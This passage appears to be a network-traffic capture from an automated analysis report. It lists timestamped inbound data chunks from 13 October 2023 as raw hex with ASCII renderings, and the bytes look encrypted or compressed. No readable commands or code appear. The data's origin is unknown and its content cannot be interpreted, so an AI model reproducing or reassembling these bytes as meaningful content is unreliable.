db 55 Data Ascii: vt#P#K4e4ji2\UV#Wl^lZyL2WRfcaRSX78WBDDR*>?T1k/G3W=G0^D^11Nz`UbCp}p;T&m0pHyM$$&{v:_ Sn5S'Ao'b%TU
2023-10-13 14:06:11 UTC	2412	IN	Data Raw: 04 42 93 35 31 1e 0a 90 b3 ef 95 79 b7 4c 57 fc 3c 31 d3 f1 e1 e4 2c 44 d8 fc d4 13 62 e0 d3 81 18 aa e1 8b 29 88 bf f7 9c 49 79 87 d5 41 8f 4d b6 15 dc 2e 62 29 59 9b 67 55 f0 ee 54 69 01 f9 4b c7 01 d2 df 95 79 e4 73 65 71 d5 c5 6c c2 9a 86 66 52 b7 4b d0 6c 27 37 1d 19 07 c9 4c ec 2b 4c c4 01 73 b4 d7 16 10 a3 22 c1 4b ca 5d ec 5b f4 74 a4 09 6c 4e 0c 33 1e 35 10 04 58 4a d9 ad 88 14 fb af c5 b7 ba 79 c4 67 01 69 84 41 eb 65 01 24 95 1f e5 14 51 75 09 c4 e4 4c 06 de 6c 33 f1 c8 17 cc 2f 8c c0 cf 7e c2 5d 2a a1 f0 17 93 f1 ac 91 03 ee 12 6b 52 28 df 7c ca 54 9e 05 90 fe d4 13 06 af 27 02 20 e0 7f c5 a7 f1 3d ca 88 f9 2a 05 6e 15 91 b9 50 e8 a9 67 a6 fa 32 aa 91 6a a1 b3 66 ee 10 f5 df 95 34 53 ad ce ba 6f 1a 19 c4 7c 0c 7b 04 7f 39 49 93 2d 15 60 d4 95 Data Ascii: B51yLW<1,Db)IyAM.b)YgUTiKyseqlfRKl'7L+Ls"K][tlN35XJygiAe$QuLl3/~]kR(\|T' =nPg2jf4So\|{9I-`
2023-10-13 14:06:11 UTC	2428	IN	Data Raw: 94 35 45 c4 cb 2a cd 67 4d 90 9c 75 3b 2c a6 38 ef 67 64 86 62 3c f5 db a1 e6 f3 f8 73 82 2c 1f 68 27 3f 4d 7f 60 f0 8f e5 27 81 dd 54 cc 0a 22 56 2a 1b 18 e5 05 f6 38 be 66 a6 48 66 31 6a 92 81 44 30 f6 44 8a 57 b5 17 cf ab 6b 2d 7b 46 e6 48 b9 81 32 2f e0 c5 5b 82 1c dc 2a c1 de 0d 4a ae 77 bf 22 57 6c 6e fa c1 ba 7b 95 d5 bc 2d fe 8b 2f f5 f6 e7 29 13 90 17 dc 95 4c d5 fd 49 7a e6 04 84 3a 1b a1 01 dc 4d 61 7c 00 6a 87 65 1f de 2b 03 61 47 bc 1b 2d 93 75 6d 09 cd f0 4f c2 9c d6 96 7c 56 e9 1d bc 05 9a 2f 46 e9 a2 f4 02 e5 e9 5a 78 49 de bf 03 ba bc 05 5e 17 80 d8 36 3d 9f 33 36 2c 18 31 af 14 3c 6e 8f 47 95 d9 d0 77 e5 5c 35 e4 5c 93 9d 4e 11 15 a3 bd 65 c2 d2 d0 3d 23 b9 a8 6c c5 75 58 95 a5 f5 ba 8d f9 74 8f e4 f6 71 47 a9 b2 ee 10 cd e5 0d 72 0c 2e Data Ascii: 5EgMu;,8gdb<s,h'?M`'T"V8fHf1jD0DWk-{FH2/[*Jw"Wln{-/)LIz:Ma\|je+aG-umO\|V/FZxI^6=36,1<nGw\5\Ne=#luXtqGr.
2023-10-13 14:06:11 UTC	2444	IN	Data Raw: 40 4a 88 06 c6 a9 a6 32 24 a3 e5 82 65 cb ea e9 51 6e 35 24 dd 30 97 3d f3 64 0d 2d 4a 1c 3f 23 30 45 21 e5 a7 ba b8 32 e1 93 85 a4 ac 83 71 94 d2 38 ee 3a ee 5d d4 61 0b 37 ab 35 25 39 31 ff fb 0c cf ea 27 59 79 13 48 62 76 b9 95 14 e6 8b ac 05 8e fb 22 31 88 03 62 28 2b e4 19 d6 68 21 88 e5 6f 81 b2 19 41 87 22 0f d4 21 b3 00 fc 8b 23 4c 71 93 ba 71 c6 04 d0 17 26 08 05 36 8b 13 51 38 90 40 31 de 78 fd 53 37 18 2e 9c f4 c2 35 2e 1d f8 76 0f 48 76 9c 90 43 9f 64 9e 87 2b 68 76 90 2b 6b 64 07 bf 5b 84 97 23 ce 41 26 4a 36 97 a2 88 bd 78 1f bc 15 b3 e3 d6 4d c4 57 4d 07 cd 34 58 a0 f9 c8 88 c5 ca ff 80 df 9e 16 92 e6 c7 95 73 2f 06 ab 2d 9e 1c db 7f 23 ff 0b dc 25 11 73 c6 8b c3 d9 0d 0c dc ef 0e dd 0c bd b7 0b 44 86 1d 0f 64 5c 9e 55 ca 9c 92 d7 9a 3c 1b Data Ascii: @J2$eQn5$0=d-J?#0E!2q8:]a75%91'YyHbv"1b(+h!oA"!#Lqq&6Q8@1xS7.5.vHvCd+hv+kd[#A&J6xMWM4Xs/-#%sDd\U<
2023-10-13 14:06:11 UTC	2460	IN	Data Raw: 7a 2f 98 3c 5f aa fc e3 02 ee 42 e5 0b 92 ac d4 f7 e6 c2 e7 12 68 2c 22 c0 29 06 35 69 ef f4 94 ac e5 2f e3 3d 03 c4 ec 69 cd c7 33 d6 27 bd 60 ba d7 ca a5 3a 35 d5 2d f8 74 e5 a5 2d 89 ab 3b ab 1e 96 e6 b8 32 69 03 5a 85 e2 9a 6f c7 06 89 8a 65 74 31 d6 2e d1 5f 71 55 49 de 27 9b f7 0f 61 f2 cd 25 d8 6d 12 8c 83 53 45 d4 e8 61 e9 b6 73 5f 57 28 63 6b bb 05 4b e3 99 99 ad 6b 66 9d 8c 7c 8a 6d b4 8d c9 ce 99 d9 42 52 1a ef 47 48 6b 15 3e bc c4 6b a2 3a f0 cf 74 d8 43 da 89 8c cc 0a 7f f4 95 87 63 99 6d 1d 96 c4 d7 80 3f 5f 4a 1c 0b a1 01 1d 02 a8 8a d3 09 b7 ab 7f a9 b8 f7 a4 13 c5 fb 02 a3 81 ac 42 49 6a cf 9f 3d dd 92 b7 a7 82 e1 bb c2 32 06 c3 e9 3a 79 3a 48 34 24 1e 65 11 70 8d 0d 93 e4 14 60 6c 37 18 21 da f4 08 09 a3 de e3 1b a0 8a 4c 03 19 c3 fd 39 Data Ascii: z/<_Bh,")5i/=i3'`:5-t-;2iZoet1._qUI'a%mSEas_W(ckKkf\|mBRGHk>k:tCcm?_JBIj=2:y:H4$ep`l7!L9
2023-10-13 14:06:11 UTC	2476	IN	Data Raw: c7 5b b3 d8 64 bb b2 14 c2 d0 46 93 00 b6 04 e7 7f 8f e1 bf 06 7c 50 dd 9a ae 29 0a 40 2c 95 85 b6 c4 30 5f 57 7a ef 38 df a3 e2 0e b6 5b 4a 5d d5 f8 22 6a 48 fa 90 9f 11 2a 9a fd e8 a8 af fe b9 93 c7 66 87 fa 74 b8 50 dc 73 9a 22 47 77 40 d2 d3 5e 0e dd f8 f3 1e 78 b3 aa fc a8 58 ba a8 8a e2 81 4f e7 c8 15 6d 22 2c 5f 26 d0 a0 32 a3 76 c7 cd b2 9d dc f7 50 f3 7c 82 b1 a3 aa 17 43 12 d1 31 2c 7a 90 78 d9 5b 50 bb cb 56 4f 6d 3f 4a 5f 8f 1b c8 02 8c e1 26 bb b3 e6 88 6e 22 8b 0b 78 e4 2a 9c 08 eb d6 93 78 66 b0 73 7c 16 c8 fa b0 c3 15 12 a4 be f2 ea 28 47 bd 2a c3 ce f6 a1 f9 c4 52 3f 2b b3 02 82 96 fa 44 13 c3 06 0e 45 da 63 9b 30 05 68 66 8b 90 73 2f 48 1a db 6e 17 7b 40 ae 4a 81 e9 f6 d4 38 c0 c8 da df aa c1 e1 6c 9b 37 13 28 bb ca f6 08 57 98 57 1f 87 Data Ascii: [dF\|P)@,0_Wz8[J]"jHftPs"Gw@^xXOm",_&2vP\|C1,zx[PVOm?J_&n"xxfs\|(G*R?+DEc0hfs/Hn{@J8l7(WW
2023-10-13 14:06:11 UTC	2492	IN	Data Raw: 3f 35 62 e2 97 30 fc 30 e1 19 8a 46 26 5d db 5c a2 d8 41 11 54 60 fa 7a ec ad 82 e5 6a 98 3a e3 c9 4a 09 91 ef 26 ba 75 57 0a bf f2 12 b0 da f6 9e 7a 42 00 4d fb 3f 37 22 dd 87 3b 27 13 29 2a 6b dd 25 87 a5 0b 7e c2 46 7a 02 e5 65 2a fb bc 0f 83 74 36 90 2d b7 61 d5 d1 d6 2d 3a 20 4c 1a 30 fd 50 c7 0f a2 7f de f0 c1 09 87 81 ba 8b 1f 76 b7 6e 03 16 5b 6d 34 94 e0 a6 7b 7c 62 8d 08 1b c1 24 4c c2 e9 5c ea c7 dc b1 5c 97 03 59 06 9b e3 cc d0 8a 3e e8 16 0b 03 ba 01 37 d1 00 1c c1 51 73 41 17 92 d3 ec 73 a9 6f fb 6b 71 74 1b ef 72 13 69 63 5c 47 72 d9 53 62 13 5a 9b 69 8d 26 b3 e0 14 ba 35 c7 05 5f aa 44 12 8c 05 e4 bd c9 15 77 59 a7 b2 db a7 a0 33 58 fc e0 e3 df 8e 62 9f f2 37 5d c3 a7 12 6b 79 6d d1 74 92 40 b1 e8 38 8c 6d 9f 0f 3c ae 8a 50 fd fc af e1 4e Data Ascii: ?5b00F&]\AT`zj:J&uWzBM?7";')k%~Fzet6-a-: L0Pvn[m4{\|b$L\\Y>7QsAsokqtric\GrSbZi&5_DwY3Xb7]kymt@8m<PN
2023-10-13 14:06:11 UTC	2508	IN	Data Raw: 69 2f 60 38 75 95 20 c7 ef 38 4c 95 24 92 7f 57 9f 42 37 b9 09 18 d0 31 b2 0f b2 21 75 08 84 71 98 98 87 3c 2a 3f c7 1c 38 bb 3e f8 3c a4 35 89 a8 4b 32 aa 0e 0e ef 5e 44 c1 05 b2 76 12 1e b5 f9 2f f9 d0 05 9b 08 67 90 f7 c9 58 02 d0 3a f9 81 2f 1e 97 20 9d 8e 42 38 21 23 44 32 3d fd 48 d8 c1 55 fc b1 e5 15 2c c6 5b bf ad b3 08 40 2c 39 85 d1 ab 69 1a 97 71 21 c6 5c 6a 5c 8b 15 2b 32 55 b2 ba 08 ae 64 b6 fa fa 37 18 20 5a 95 8e 44 10 a8 de 5c 76 c7 42 3c 37 02 ec 52 94 ad c2 ce dd 35 e2 96 ce 85 b3 dd fc 3c e0 4c 51 e8 22 92 9a a0 5c 72 73 b3 10 60 a5 b0 8e d7 cf e3 19 b3 bb 4f bb c0 36 fa 43 8a 50 0c 06 2e 27 17 d2 d0 71 7d 48 33 f6 91 42 f4 3f 75 7b f4 a9 8f 89 69 c6 ab 63 53 fd 22 92 91 03 5f 04 aa 16 12 85 ff 2e a0 7b 23 c7 58 50 ef 73 37 df 6b a0 d9 Data Ascii: i/`8u 8L$WB71!uq<*?8><5K2^Dv/gX:/ B8!#D2=HU,[@,9iq!\j\+2Ud7 ZD\vB<7R5<LQ"\rs`O6CP.'q}H3B?u{icS"_.{#XPs7k
2023-10-13 14:06:11 UTC	2524	IN	Data Raw: a7 97 d5 b8 ef 45 fd 0a b2 49 22 eb c8 da 3e e8 9e e2 22 a3 6f f0 61 98 9f 13 55 93 0b 65 28 ed 67 f0 4d 80 55 b8 8a f9 7b bc c7 d9 94 11 e2 6b cf e3 a7 86 9c 4b 82 81 a6 48 a8 72 35 4a 7c 8c ed 7c f0 00 07 ed b1 42 db f2 4d bf 1c 3e 83 89 1d 61 b4 bc 33 8c b2 4a 0d 48 d0 38 2f eb 57 36 68 59 32 58 fb c2 8e 90 8c d6 61 8e 8f d0 e8 ec ff 3b 8c 01 05 08 d8 44 28 3e 12 24 02 33 bd 0b c7 f1 01 2a 13 df 14 dc 89 28 90 a7 5c bf a9 f9 f9 44 e6 74 a0 4f 4c a6 81 c7 1d cc dd 37 8b 42 b1 a3 a9 4b 51 f2 c6 6f c8 d1 51 60 8d 05 40 ae 15 50 c2 24 06 3b da 30 11 ca 3e 66 ce a8 9b f3 e3 77 0b 2c 78 b9 ab 94 f7 84 48 c2 f8 50 ab 1b c7 51 03 2b 81 6b 60 7c f4 bc 68 2d 0a 5c 0b 9c 0f dc 78 22 9b 36 b4 47 cd e8 b5 f9 64 d3 c5 70 6c 4d 27 5a 66 7c d6 0d e7 f0 cc b3 af 84 90 Data Ascii: EI">"oaUe(gMU{kKHr5J\|\|BM>a3JH8/W6hY2Xa;D(>$3*(\DtOL7BKQoQ`@P$;0>fw,xHPQ+k`\|h-\x"6GdplM'Zf\|
2023-10-13 14:06:11 UTC	2540	IN	Data Raw: 04 26 fe ae 5e 18 5f b2 c2 bc 96 d7 4c 0f bc 6f 90 cf 36 35 9e f7 dc 6f e9 8e de c6 6e 63 0b 77 0e 5d 9e 4c 21 00 bf e0 7b e4 47 90 ec c9 00 53 85 30 c9 51 fd 58 97 82 1a 6b 25 2a ff 20 3e 9a 11 d4 40 10 10 47 01 c3 e5 9a c5 5b 37 4f c1 e2 aa a6 5c 8c da 8d 82 d2 77 a6 d7 87 5c c5 a4 70 dd b1 d1 6e 12 5f eb 07 23 b3 05 ee be cd 7e 7c 6a 02 31 07 b8 83 73 a0 0e e7 63 e1 99 5c f2 7a 90 1e 75 dd 77 fa cd 67 2f 7b d6 e2 8a b1 48 8c dd c8 2d 3e cc b2 ca 83 06 08 06 34 e0 97 2c fb 00 7a 83 7a 04 b0 7c f7 51 4c 0b 31 ee cf 01 da 5b fd 06 ef 80 95 f0 63 c1 43 d6 37 b8 b7 f5 8a b8 64 1a e8 8b e7 89 78 cb d9 0c a3 da d4 16 05 b2 f9 f5 c6 7b 05 e4 87 01 8f db 27 6e 6c 9f b7 17 42 7a ba 25 72 5d 15 5b 6e c1 47 93 7f 79 af c8 4d 41 68 3d 90 2d e8 b5 06 ba c7 d2 e9 e5 Data Ascii: &^_Lo65oncw]L!{GS0QXk%* >@G[7O\w\pn_#~\|j1sc\zuwg/{H->4,zz\|QL1[cC7dx{'nlBz%r][nGyMAh=-
2023-10-13 14:06:11 UTC	2556	IN	Data Raw: d4 d7 e4 57 b1 9f 2a 0f 3c 50 4e 00 bd 5c 51 b3 66 88 c6 aa 63 8b 10 e0 ab b8 68 60 68 7c dc 83 d3 4b 6b 3b 23 44 4d 32 af 3a 60 de 96 4e a3 1a 5f af 66 89 d1 3a 7d e3 53 35 e2 12 5d 47 db fa 71 3f 4e f6 b9 ce 55 09 91 70 00 8a ed 1c 6c dc 9f d5 e2 0f fc 4d 47 82 f0 1d f6 48 9e 4e cc 33 57 0f 42 58 e1 d0 8a 73 0b 50 12 9f 6d 05 2c da 9d e5 ea 1d 81 c0 32 ea 8f 2c 82 35 89 f5 3c 14 90 30 7e bb 00 51 5f 35 a1 dd 64 d3 34 c8 62 56 97 ee 6b c9 cd d2 f9 2a 87 d8 a1 34 5a 0f e4 bd a9 38 89 7b 63 95 e9 ab 0b 69 95 44 19 b2 83 a2 c3 a3 ff 8c c2 07 9f 16 df 06 19 f9 67 a6 43 8b 8c 02 f3 28 72 7f 06 87 56 33 cf ae c5 1d 54 6b a6 1b df 5f 76 5e 1c d0 7a 4d b5 21 cf d6 bf 59 3a 8a ae b4 16 58 18 df fc 42 39 07 ad e8 ce 0c 1e b6 17 ca 14 0d 88 41 c9 7a c4 1d 63 fa 09 Data Ascii: W<PN\Qfch`h\|Kk;#DM2:`N_f:}S5]Gq?NUplMGHN3WBXsPm,2,5<0~Q_5d4bVk4Z8{ciDgC(rV3Tk_v^zM!Y:XB9Azc
2023-10-13 14:06:11 UTC	2572	IN	Data Raw: d4 14 36 6a f2 6a 95 7d ee 00 f8 1d 9c f0 7c 87 81 a2 4b 30 d6 6a e1 87 97 b6 46 df 1d 7d 24 06 73 46 7c 9b 18 b3 81 00 aa 54 8d 0f 81 75 e8 fa 1b a1 3e 3c 38 fd 07 dc d3 4e 35 43 f5 08 a8 30 53 e5 56 a6 6b 97 9f e2 06 62 98 dd 5a ea c7 f8 de f4 89 cd 1c d4 5c 27 fd 3a d0 d3 7b 66 3a fc b5 69 32 e6 c4 2a 5d c1 10 5f 8b fe 78 a3 a9 5d 2d f9 21 1b 27 93 b9 36 c6 ee 17 29 d8 31 be 28 f9 0c aa bd 0d f1 38 d4 c7 e7 64 06 79 42 bf e1 30 bd d0 73 da e1 59 9d f1 7b 8c 0b c1 94 0a 8e 24 99 f3 cf f0 fd e2 b1 7a 09 cd 3d 1b dd 57 e6 07 8e 64 80 d2 fc ae b7 12 f3 40 a0 2e 8b ad ea 5e 21 b7 0d d8 44 04 be 47 60 33 af 97 b8 5e 8f c4 bf 6e 63 37 82 88 dc 70 f1 a5 ff 2e d3 d0 05 0c a9 cb 42 52 dd 47 27 47 78 d5 a2 08 8e fb a0 aa ca c3 a6 d5 3e fc 79 dc f0 6b f1 b6 dd 89 Data Ascii: 6jj}\|K0jF}$sF\|Tu><8N5C0SVkbZ\':{f:i2*]_x]-!'6)1(8dyB0sY{$z=Wd@.^!DG`3^nc7p.BRG'Gx>yk
2023-10-13 14:06:11 UTC	2588	IN	Data Raw: 69 c5 14 ae 1d 27 db df c0 2f 86 38 02 5c 9a 7e 43 06 77 31 f4 e6 37 c0 e1 c9 4d 29 bb 52 46 e7 92 1a e5 b2 53 b8 b9 f3 a4 78 12 ed 7b d5 a6 15 59 98 45 49 59 75 5c b9 14 e7 27 6d 3a 00 00 85 f8 18 8e 84 61 35 44 51 7d 0f bd 1c 3c f5 ae a5 dc 95 82 42 47 47 a8 d3 a3 e2 15 b4 16 4d 0a 5d 61 06 e2 36 ff cb de 5a d2 22 d6 b6 9f 1a a7 07 92 bb 52 69 5a 27 55 75 c4 13 c4 40 b4 de 50 55 fa 8a 5c ee b9 e1 76 55 58 d8 de 71 6d 4c 5b aa bb c6 d9 9a 72 3b ff 90 26 97 af 1c ec 06 5f 01 c0 36 50 c2 0c 68 4a a8 b4 dc 48 3f f3 14 df 70 3a 72 1d 46 5f 5c 44 33 ec 10 54 f9 ad 21 b8 99 da 6c 36 f0 ce 46 68 5d a3 05 31 53 da 32 12 0b fe c5 d6 59 5d 90 b0 7e 2a e7 53 79 97 a9 96 dc 86 c2 29 9e 8f 11 df ef 97 7b 28 30 78 33 34 d6 bb 84 01 a5 14 ef dd e3 45 f5 91 7d 5c 98 d1 Data Ascii: i'/8\~Cw17M)RFSx{YEIYu\'m:a5DQ}<BGGM]a6Z"RiZ'Uu@PU\vUXqmL[r;&_6PhJH?p:rF_\D3T!l6Fh]1S2Y]~*Sy){(0x34E}\
2023-10-13 14:06:11 UTC	2604	IN	Data Raw: f6 7e 13 b8 2d 79 9b 06 75 b0 22 9d 76 ee 5f 1c 8c 65 72 12 12 f3 6e 94 9b c9 57 c2 1a 41 f5 3b 33 24 87 2a 54 d9 1b 76 de ad 8e c0 7a 7e 5d 37 0a c7 8a 6f 7d fb 1a 8c 4e 41 2e e7 bf 2b 8b 55 7a 1f ab be e9 75 1f 97 fb c0 68 c8 7a 9f ab c2 fb b8 4c ff 23 f7 1c c3 26 00 d3 9e 41 44 f3 6f 51 05 af b2 3e 16 27 25 e4 f7 2a 60 46 e2 f1 e2 7f b7 21 50 f0 25 31 52 79 9b 77 5e 06 21 0b d1 7b 4d 86 a6 0c 7f 79 18 53 c6 40 64 0a 1e bd c8 12 70 2c 8b 0d c3 63 56 57 70 a0 a7 c4 dd 57 83 83 59 d0 9d a9 f2 91 20 ab 46 37 a9 b3 c4 f7 50 d6 db e8 dc dc 10 37 4d bb e1 c3 b7 4d 1c cf a7 94 87 c6 43 6f 25 ab 50 8e c8 82 97 8b 97 cc af 82 95 57 ed 85 68 cf a3 02 fe d2 67 64 f1 2f 7e e9 9c 03 f4 55 46 24 84 7c f8 d8 33 af 3b 18 f5 f0 3a 54 a2 f8 09 23 4c ef ca a8 4e 97 c8 db Data Ascii: ~-yu"v_ernWA;3$Tvz~]7o}NA.+UzuhzL#&ADoQ>'%`F!P%1Ryw^!{MyS@dp,cVWpWY F7P7MMCo%PWhgd/~UF$\|3;:T#LN
2023-10-13 14:06:11 UTC	2620	IN	Data Raw: 1c 45 5f 20 0b 56 64 fe 4b e3 38 c4 61 d0 a9 4d bb 37 74 ed ef 69 86 e3 5f 0f 84 db 10 05 b6 28 b3 a5 e6 d4 0a 6f 9a e6 a1 5d f0 6e f7 15 a8 9a a7 63 fa 33 63 0b 87 50 6c 67 8d 5a e1 2d 04 b9 47 27 2d 47 a3 fb 0a 7c b7 ec e0 da 8c a8 cd c8 2c 4c 83 98 2d b1 76 7a 51 e0 b3 24 b9 58 ac 56 b6 a6 ac 19 b6 83 4a 04 f3 a5 f9 57 39 30 c3 e4 60 a4 e6 6e 53 ad d2 b2 37 97 dc 74 ec 81 e2 5c a8 d1 1a 0f 6c 88 d8 94 81 cf 4c ed bf f8 60 d0 67 5b 90 8f e5 70 d9 91 7d 9d 04 66 62 f0 67 08 fd 4a 63 c3 fc 61 69 c3 23 7f 13 cf 38 a3 1e ff 00 d1 3b 75 79 50 2a 97 a2 d5 20 fd 8c f5 8e 53 22 ba 05 ee b8 aa 3e f0 fb dd dd 18 11 d6 5b 50 43 78 e4 ab e8 04 2f aa 53 ef 98 e7 60 3b 26 08 7d a2 98 a6 19 65 ab e7 9f 5b d2 2e 1a a3 1f 6b d4 fc 7a 08 26 e8 eb b1 fb a4 c6 00 3d 9d f5 Data Ascii: E_ VdK8aM7ti_(o]nc3cPlgZ-G'-G\|,L-vzQ$XVJW90`nS7t\lL`g[p}fbgJcai#8;uyP* S">[PCx/S`;&}e[.kz&=
2023-10-13 14:06:11 UTC	2636	IN	Data Raw: fd 7b 9c a4 90 24 51 0b 93 d7 62 1a 9b 75 43 8e 08 a7 4d e9 c4 b8 65 67 e5 19 80 e3 6c f4 ee d6 d7 0c 51 3f 32 9d 82 5f 65 f8 53 49 f4 70 b1 db 6c 1f 95 87 af 85 9d c5 8c 65 4d 6e 30 ca 2a 57 03 c2 47 3c fb a8 80 bb 00 40 e5 05 d9 04 6f 6b b4 2c 6d 96 b5 6a 07 28 15 4f fc 56 ea 49 dd d8 56 8f d6 fe 94 75 a3 fd 0b 1f b1 d0 6d 17 9a 87 44 8f 38 f2 f9 ae 7a 25 3f 94 86 b8 2b 0e dc 83 12 ae 37 93 7e 66 f7 21 29 c9 9b e6 42 b4 19 66 5b f1 f8 26 f3 a5 bc d5 e4 0c b8 5c 9d aa 0a 6b b0 db 14 d8 68 aa 05 92 73 4e 9b b3 1c 33 e0 ec 90 a3 71 75 40 6e f4 0e d5 b7 c6 50 ab 39 9c 5b 44 ac 6c 19 6e 08 bd 75 a7 1c e0 e1 82 86 d8 b1 2b 74 33 05 37 5c 02 db 89 a2 1d 9f 86 2e d5 98 e3 94 cb e7 a2 b5 70 f8 c7 8c 5e d0 1a 63 3e 1c 43 ab 95 cf 8c ea 12 ea 26 e8 4d c9 ba 92 b4 Data Ascii: {$QbuCMeglQ?2_eSIpleMn0*WG<@ok,mj(OVIVumD8z%?+7~f!)Bf[&\khsN3qu@nP9[Dlnu+t37\.p^c>C&M
2023-10-13 14:06:11 UTC	2652	IN	Data Raw: 86 1b a9 f3 bb 92 a2 80 b5 71 ef 32 f8 df 47 14 21 24 11 0f 88 1e 4e 34 ad ac bd 53 10 a8 69 61 55 a2 e5 a6 f4 38 ef 74 59 a1 0c f0 84 88 d5 01 07 af 3a f3 74 2a b5 4d 7f 3a 61 4c 08 87 74 df 88 8d 9e bf bd 37 db 6e db 5a 5c 4e 49 0a 24 23 cf d5 f2 12 46 c3 b8 e7 eb fa ff 3e f4 48 bc 65 92 07 c2 8a ce 2f 7f 8d 96 9f 6d 38 1f 70 87 c4 db c6 98 2c 48 88 15 16 79 94 89 0a 60 19 10 45 7e 22 54 b3 86 31 f0 50 e0 f7 2e 97 74 18 ea b6 fe 5f 0d a7 f8 e3 bc af c7 3c 28 5a c4 37 5b c5 4f 0e 1c 75 33 b2 7d c3 ef f2 34 a2 44 8f d6 0d 4e f5 78 97 e9 82 97 40 7d 16 f9 5d 45 e3 ce d1 cb 56 2c 4c 85 ef 9e 6d b8 5d 14 bd 39 d0 dd fd 3f 8c 82 61 c4 62 32 8c 3e 57 1a 8d 99 7a 19 f3 1d 6d e4 b7 b5 6d 9f 7f f4 5e 60 72 18 b3 eb 48 04 df fa 74 35 5c d8 1d 35 21 2d 12 1e d3 fa Data Ascii: q2G!$N4SiaU8tY:t*M:aLt7nZ\NI$#F>He/m8p,Hy`E~"T1P.t_<(Z7[Ou3}4DNx@}]EV,Lm]9?ab2>Wzmm^`rHt5\5!-
2023-10-13 14:06:11 UTC	2668	IN	Data Raw: af cb 37 09 dc eb 90 e0 9f ed 06 7f cc 71 17 c8 c0 6e 58 b8 23 b6 ad 39 22 c2 c6 a9 49 ee 5c 08 16 ff fb 5e 2a b3 20 08 a9 77 5e 3c 44 ed b6 7b ce ec fd bf 34 b4 75 18 5e 46 6c e2 d6 68 3b 3c 96 a1 bd 7e 90 61 e2 2c 85 12 f3 45 92 9a 07 94 7b 46 55 8e 93 42 7b 25 3c 3f 18 bf fe f6 c9 d0 d2 37 b4 8a 22 87 24 f9 52 bb 33 5c 54 e2 91 0b dc cb d2 14 5b 03 fb e8 1d 50 49 c3 8b 45 48 58 fa 70 90 e0 4e da e5 dc 2e e6 6e 0a 8c cd 2f 0b b5 75 ae ec 9c 63 d8 e6 9e 6f af f0 6d c7 59 87 bb 94 72 c9 1a c7 02 64 ff e1 cd 9a 0f ae 7f 8b 90 40 4e a5 7a 25 ff da ad 64 a9 fd 09 30 67 00 b0 85 83 88 97 ff 6a 1e 17 84 be 07 1c 12 3a 43 59 bd 1c 45 3d e8 fd 06 66 5b 65 b0 7d bf 3c 76 16 f6 ff 99 8e c5 74 5b 8d ec d8 d3 55 4e 84 6a 39 31 62 69 03 39 75 cc 52 cc 86 18 c3 31 87 Data Ascii: 7qnX#9"I\^* w^<D{4u^Flh;<~a,E{FUB{%<?7"$R3\T[PIEHXpN.n/ucomYrd@Nz%d0gj:CYE=f[e}<vt[UNj91bi9uR1
2023-10-13 14:06:11 UTC	2684	IN	Data Raw: eb e2 49 6d ad ca c5 78 de 28 e5 7e 7a 57 92 31 0b d5 ac e0 2d e9 24 4f 73 f9 87 83 05 c3 12 36 1c 3c 43 6d 1e 99 53 96 b0 1e 3f dd 10 39 3b ff 0d be 27 04 f2 5c 1e e5 07 e9 4c 2a d9 5c 7d 0f be f7 02 6d 4e 58 47 24 55 d1 18 0f c8 5d dc 5b 8e d5 23 a8 83 b1 dd cb 30 8b 6a df 6b 06 86 13 2a 0a 03 2d a2 37 b3 dc 40 86 01 dd 88 91 19 a8 02 6c 8c 89 5f cd 84 b7 91 6e 0d 8f b4 e5 a8 18 c8 63 58 10 fd 0c d6 b6 1d f3 3a 53 58 d0 e9 d4 bb 44 e1 43 b4 35 e5 84 d9 2a 57 40 b5 bf 1c 89 f3 25 6b 0e 17 29 b9 70 e8 41 bd 1c 12 e6 88 13 a8 a3 41 90 9c ee 66 0c be 47 ab fd 95 22 fb c8 43 c0 d1 f1 f2 0f 4f 76 db 59 94 f5 e6 9b b8 39 f2 01 01 37 c6 84 76 7c be 29 c5 8e 5e bd 8f c5 1f a0 5f 71 fc 59 78 e2 8c ef 7e 45 99 fe 44 65 8d 4f 67 65 67 3d 11 be ac 51 5d 0e 6f 2d 82 Data Ascii: Imx(~zW1-$Os6<CmS?9;'\L\}mNXG$U][#0jk-7@l_ncX:SXDC5*W@%k)pAAfG"COvY97v\|)^_qYx~EDeOgeg=Q]o-
2023-10-13 14:06:11 UTC	2700	IN	Data Raw: 9a fa 26 9f 39 37 45 ac 53 1d a3 06 b2 96 d3 df be 34 1d 30 46 82 bb 49 cf bc 96 3a 62 9f d6 12 8e eb 22 1f 8c 53 0f d9 03 fc cb 0b 6d 73 34 8b f5 e0 4a ca d9 14 41 c6 27 63 44 a6 ed ba 7d 5f 74 a0 cf ec 74 ae 22 58 1a 80 d3 98 f8 1f 87 c8 75 9c 95 25 d5 89 50 b5 b1 6a 5e ab 21 b9 00 30 cb 52 17 80 73 8f 33 03 44 ea c3 fa 87 ce 64 79 5f a1 9d bd 26 90 da f4 fb 95 fc 04 40 f9 b8 24 3a 6d 23 b2 f1 2d e7 5a 99 0c a8 26 2d 09 a0 db f3 19 8e d7 7d 6a 79 8f 61 6f 34 d7 38 de 60 6b 6e 13 af 93 00 63 8e b3 c9 32 f0 51 fa 03 13 03 bf 66 0b 8c 05 18 33 e4 f4 79 ea 5e f7 d3 44 d8 30 d8 ac f7 c1 fb e8 7b 64 79 5e 5e a8 41 c6 1a 1d 28 ba 89 b0 2b 00 a2 74 9d bf b4 4a 23 ef 50 8d b7 ae 4f 3a 3d 4a df 5c c3 f8 d8 a7 8f 4f 02 06 ee f3 ab ab 79 9e f5 62 ea 58 14 0c 75 93 Data Ascii: &97ES40FI:b"Sms4JA'cD}_tt"Xu%Pj^!0Rs3Ddy_&@$:m#-Z&-}jyao48`knc2Qf3y^D0{dy^^A(+tJ#PO:=J\OybXu
2023-10-13 14:06:11 UTC	2716	IN	Data Raw: aa 42 0f f9 46 3c 43 8c 90 1d 9f 68 bf 7d 56 47 04 71 2e 6b 3a 8a 64 31 e7 80 c5 e3 4f a6 df d6 29 6b 83 ee ff 79 9e 41 a5 14 54 2c c9 91 c0 1c 0b de 38 d0 3c d2 7d 7a 7f 35 8a e4 b5 e0 56 3f f8 13 cb fb 70 e1 f3 6b a0 1f d6 6b 92 0b 49 5c 0f d1 e6 6a 4f 67 69 e3 6b e7 6a f6 37 70 21 a6 0c be 03 79 68 45 5c d8 96 99 09 72 d6 fb cc be 75 ec e4 68 9c ec fb f8 21 a8 88 d8 0b f8 c5 ff fd 32 24 5b a3 36 e1 37 a4 f5 63 a1 6f 5c 70 e2 be b5 9f 5c 90 44 36 1f 0c 12 8a 13 b7 61 2f c0 c3 de 90 ea 90 7b 27 08 28 77 6b 60 57 2b 6f 73 04 03 9e 5b 2a 3e 32 04 70 b8 92 fc 7b 47 9b 76 e8 ca 